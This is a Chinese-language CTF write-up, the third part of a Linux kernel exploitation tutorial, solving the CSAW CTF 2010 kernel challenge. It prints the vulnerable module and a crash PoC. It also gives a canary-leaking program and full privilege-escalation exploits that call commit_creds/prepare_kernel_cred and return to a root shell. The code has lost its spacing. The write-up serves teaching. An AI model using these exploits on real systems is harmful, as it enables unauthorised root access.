【系列分享】Linux 内核漏洞利用教程（三）：实践 CSAW CTF 题目

【系列分享】linux 内核漏洞利用教程（三）：实践 CSAW CTF 题目

2017-04-07 10:15:25
来源：安全客作者：o0xmuhe

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【系列分享】Linux 内核漏洞利用教程（三）：实践 CSAW CTF 题目

作者：o0xmuhe

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0x00: 前言

经过前两篇文章的学习，对于linux kernel exploit应该有了一点认识了，那么这次来实践一道古老的CTF题目，来自CSAW CTF 2010的一道kernel exploit题目。本来整个题目是要求读取flag的(root才能读)，我这里直接提权做的，反正最后都能达到目的。更多的关于linux kernel exploit相关的资料可以看看这个项目。

0x01 :漏洞代码

有漏洞的代码如下：

/* *csaw.c *CSAWCTFChallengeKernelModule *JonOberheide<jon@oberheide.org> * *Thismoduleimplementsthe/proc/csawinterfacewhichcanberead *andwrittenlikeanormalfile.Forexample: * *$cat/proc/csaw *WelcometotheCSAWCTFchallenge.Bestofluck! *$echo"HelloWorld">/proc/csaw */ #include<linux/module.h> #include<linux/kernel.h> #include<linux/init.h> #include<linux/proc_fs.h> #include<linux/string.h> #include<asm/uaccess.h> #defineMAX_LENGTH64 MODULE_LICENSE("GPL"); MODULE_AUTHOR("JonOberheide"); MODULE_DESCRIPTION("CSAWCTFChallengeKernelModule"); staticstructproc_dir_entry*csaw_proc; /* structproc_dir_entry{ unsignedshortlow_ino; unsignedshortnamelen; constchar*name; mode_tmode; nlink_tnlink; uid_tuid; gid_tgid; unsignedlongsize; structinode_operations*proc_iops; structfile_operations*proc_fops; get_info_t*get_info; structmodule*owner; structproc_dir_entry*next,*parent,*subdir; void*data; read_proc_t*read_proc; write_proc_t*write_proc; atomic_tcount;//usecount intdeleted;//deleteflag kdev_trdev; }; */ int csaw_write(structfile*file,constchar__user*ubuf,unsignedlongcount,void*data) { charbuf[MAX_LENGTH]; printk(KERN_INFO"csaw:calledcsaw_write\n"); /* *Weshouldbesafetoperformthiscopyfromuserspacesinceour *kerneliscompiledwithCC_STACKPROTECTOR,whichincludesacanary *onthekernelstacktoprotectagainstsmashingthestack. * *WhiletheusercouldeasilyDoSthekernel,Idon'tthinkthey *shouldbeabletoescalateprivilegeswithoutdiscoveringthe *secretstackcanaryvalue. */ if(copy_from_user(&buf,ubuf,count)){ printk(KERN_INFO"csaw:errorcopyingdatafromuserspace\n"); return-EFAULT; } returncount; } int csaw_read(char*page,char**start,off_toff,intcount,int*eof,void*data) { charbuf[MAX_LENGTH]; printk(KERN_INFO"csaw:calledcsaw_read\n"); *eof=1; memset(buf,0,sizeof(buf)); strcpy(buf,"WelcometotheCSAWCTFchallenge.Bestofluck!\n"); memcpy(page,buf+off,MAX_LENGTH); returnMAX_LENGTH; } staticint__init csaw_init(void) { printk(KERN_INFO"csaw:loadingmodule\n"); csaw_proc=create_proc_entry("csaw",0666,NULL); csaw_proc->read_proc=csaw_read; csaw_proc->write_proc=csaw_write; printk(KERN_INFO"csaw:created/proc/csawentry\n"); return0; } staticvoid__exit csaw_exit(void) { if(csaw_proc){ remove_proc_entry("csaw",csaw_proc); } printk(KERN_INFO"csaw:unloadingmodule\n"); } module_init(csaw_init); module_exit(csaw_exit); Makefile如下 obj-m:=csaw.o KERNELDR:=~/linux_kernel/linux-2.6.32.1/linux-2.6.32.1/ PWD:=$(shellpwd) modules: $(MAKE)-C$(KERNELDR)M=$(PWD)modules moduels_install: $(MAKE)-C$(KERNELDR)M=$(PWD)modules_install clean: rm-rf*.o*~core.depend.*.cmd*.ko*.mod.c.tmp_versions

0x02 : 分析

首先漏洞点很好找，就是一个简单粗暴的栈溢出：

int csaw_write(structfile*file,constchar__user*ubuf,unsignedlongcount,void*data) { charbuf[MAX_LENGTH]; printk(KERN_INFO"csaw:calledcsaw_write\n"); /* *Weshouldbesafetoperformthiscopyfromuserspacesinceour *kerneliscompiledwithCC_STACKPROTECTOR,whichincludesacanary *onthekernelstacktoprotectagainstsmashingthestack. * *WhiletheusercouldeasilyDoSthekernel,Idon'tthinkthey *shouldbeabletoescalateprivilegeswithoutdiscoveringthe *secretstackcanaryvalue. */ if(copy_from_user(&buf,ubuf,count)){ printk(KERN_INFO"csaw:errorcopyingdatafromuserspace\n"); return-EFAULT; } returncount; }

这里，从用户空间做拷贝的时候未作任何check，导致过长的字符串可以覆盖到返回地值，这种情形和我们第二篇文章中遇到的情况一样，那么是不是就按照那个文章做利用就可以了呢？并不是，从注释中看出，出题者是开启了kernel CANARY选项的，也就是说，我们直接去覆盖的话，会先覆盖CANARY，然后就会过不了check从而kernel panic。

是不是这就没法玩了呢？一般来说，对于CANARY这种情况，我们采取的策略要么是leak，要么就是crack。继续分析代码，看到read部分：

int csaw_read(char*page,char**start,off_toff,intcount,int*eof,void*data) { charbuf[MAX_LENGTH]; printk(KERN_INFO"csaw:calledcsaw_read\n"); *eof=1; memset(buf,0,sizeof(buf)); strcpy(buf,"WelcometotheCSAWCTFchallenge.Bestofluck!\n"); //couldleakcanaryhere!!!! memcpy(page,buf+off,MAX_LENGTH); returnMAX_LENGTH; }

拼接了栈上一个变量，然后拷贝到了用户空间，而且拷贝的长度很长，这就是出题人故意留下的info leak，好让我们可以leak CANARY的值。

那么现在，我们拥有一个info leak，拥有一个stack bof，两者结合，就是第二篇文章中的利用方式了。只需要组合payload为：

junk+CANARY+ebp+payload_addr

我们就可以像之前一样去get root shell啦~

0x03 : Poc

poc的代码很简单，直接触发漏洞就可以，但是这种直接就kernel panic的。

#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/stat.h> #include<fcntl.h> #include<string.h> intmain(intargc,char*argv[]){ intfd=open("/proc/csaw",O_RDWR); if(!fd){ printf("error\n"); exit(1); } charpoc[64]; memset(poc,0x41,64); printf("Trigerbug:\n"); write(fd,poc,64); return0; }

下面我们写一个dump，可以dump出CANARY的值：

#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/stat.h> #include<fcntl.h> #include<string.h> intmain(intargc,char*argv[]){ intfd=open("/proc/csaw",O_RDWR); if(!fd){ printf("error\n"); exit(1); } lseek(fd,16,SEEK_CUR); charbuffer[64]={0}; read(fd,buffer,64); inti,j; //memset(buffer,0x41,64); for(i=0;i<4;i++){ for(j=0;j<16;j++){ printf("%02x",buffer[i*16+j]&0xff); } printf("|"); for(j=0;j<16;j++){ printf("%c",buffer[i*16+j]&0xff); } printf("\n"); } charcanary[4]={0}; memcpy(canary,buffer+32,4); printf("CANARY:"); for(i=0;i<4;i++){ printf("%02x",canary[i]&0xff); } printf("\n"); return0; }

还和之前一样，编译后，丢busybox文件系统，然后qemu起系统，之后测试我们的dump程序是否工作正常：

可以看到，我们的dump程序可以正常dump出CANARY的值，那么下面的工作就很简单了，直接可以利用这个leak，构造payload去拿root shell了。

0x04 : Exploit

1. 编写的exploit代码如下：

#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/stat.h> #include<fcntl.h> #include<string.h> #include<stdint.h> structtrap_frame{ void*eip; uint32_tcs; uint32_teflags; void*esp; uint32_tss; }__attribute__((packed)); voidlaunch_shell(void) { execl("/bin/sh","sh",NULL); } structtrap_frametf; voidprepare_tf(void) { asm("pushl%cs;popltf+4;" "pushfl;popltf+8;" "pushl%esp;popltf+12;" "pushl%ss;popltf+16;"); tf.eip=&launch_shell; tf.esp-=1024; } #defineKERNCALL__attribute__((regparm(3))) void*(*prepare_kernel_cred)(void*)KERNCALL=(void*)0xc1067fc0; void(*commit_creds)(void*)KERNCALL=(void*)0xc1067e20; voidpayload(void){ //payloadhere commit_creds(prepare_kernel_cred(0)); asm("mov$tf,%esp;" "iret;"); } intmain(intargc,char*argv[]){ intfd=open("/proc/csaw",O_RDWR); if(!fd){ printf("error\n"); exit(1); } lseek(fd,16,SEEK_CUR); charbuffer[64]={0}; read(fd,buffer,64); inti,j; //memset(buffer,0x41,64); for(i=0;i<4;i++){ for(j=0;j<16;j++){ printf("%02x",buffer[i*16+j]&0xff); } printf("|"); for(j=0;j<16;j++){ printf("%c",buffer[i*16+j]&0xff); } printf("\n"); } charcanary[4]={0}; memcpy(canary,buffer+32,4); printf("CANARY:"); for(i=0;i<4;i++){ printf("%02x",canary[i]&0xff); } printf("\n"); charpoc[84]={0}; memset(poc,0x41,76); memcpy(poc+64,canary,4);//setcanary *((void**)(poc+64+4+4))=&payload; printf("[*]payload:%s\n",poc); printf("Trigerbug:\n"); //inittfstruct; prepare_tf(); write(fd,poc,76); return0; }

1. 调试exploit

还是像之前一样，设置gdbserver，并且把csaw.ko这个模块的信息传递给gdb。

先确定模块代码节地址：

这一步之后，gdbserver连接，添加symbol-file之后，对有漏洞的函数下断，就可以回到qemu中，启用exploit程序了。

我们对ret的地方下断点，然后c过去：

查看一下栈顶的情况：

出问题了，并没有要ret到payload地址去。

2. 发现问题

既然已经ret不到payload地址上，那么我们需要往前找一找，单步一下看看栈顶的变化，找出造成这种情况的原因：

直接对这个平衡栈的指令下断，然后c，qemu里再次跑一下exploit程序。

这个时候查看栈顶：

我们的payload是在栈中的，看看执行完了add指令之后的情况：

随着箭头指向，我们可以看到，在执行了三条pop指令后，我们的payload地址会被弹到esi中去，那么后面ret返回的时候，就直接返回到0xc114396c这个地址去了，所以就没有ret到我们的payload去。

3. 解决方案

原因已经找到了，下面说下解决方案，其实也很简单，他有pop，你在后面添加junk字节就好了~

大概把payload结构调整成：

junk+CANARY+ebp+pl_addr+pl_addr+pl_addr

这样的话，总会ret到我们用来提权的代码中去的~

2. 最终的exploit如下：

#include<stdio.h> #include<stdlib.h> #include<unistd.h> #include<sys/stat.h> #include<fcntl.h> #include<string.h> #include<stdint.h> structtrap_frame{ void*eip; uint32_tcs; uint32_teflags; void*esp; uint32_tss; }__attribute__((packed)); voidlaunch_shell(void) { execl("/bin/sh","sh",NULL); } structtrap_frametf; voidprepare_tf(void) { asm("pushl%cs;popltf+4;" "pushfl;popltf+8;" "pushl%esp;popltf+12;" "pushl%ss;popltf+16;"); tf.eip=&launch_shell; tf.esp-=1024; } #defineKERNCALL__attribute__((regparm(3))) void*(*prepare_kernel_cred)(void*)KERNCALL=(void*)0xc1067fc0; void(*commit_creds)(void*)KERNCALL=(void*)0xc1067e20; voidpayload(void){ //payloadhere commit_creds(prepare_kernel_cred(0)); asm("mov$tf,%esp;" "iret;"); } intmain(intargc,char*argv[]){ intfd=open("/proc/csaw",O_RDWR); if(!fd){ printf("error\n"); exit(1); } lseek(fd,16,SEEK_CUR); charbuffer[64]={0}; read(fd,buffer,64); inti,j; //memset(buffer,0x41,64); for(i=0;i<4;i++){ for(j=0;j<16;j++){ printf("%02x",buffer[i*16+j]&0xff); } printf("|"); for(j=0;j<16;j++){ printf("%c",buffer[i*16+j]&0xff); } printf("\n"); } charcanary[4]={0}; memcpy(canary,buffer+32,4); printf("CANARY:"); for(i=0;i<4;i++){ printf("%02x",canary[i]&0xff); } printf("\n"); charpoc[84]={0}; memset(poc,0x41,84); memcpy(poc+64,canary,4);//setcanary *((void**)(poc+64+4+4))=&payload; *((void**)(poc+64+4+4+4))=&payload; *((void**)(poc+64+4+4+4+4))=&payload; printf("[*]payload:%s\n",poc); printf("Trigerbug:\n"); //inittfstruct; prepare_tf(); write(fd,poc,84); return0; }

1. 调试

编译运行exploit_final，调试查看执行过程：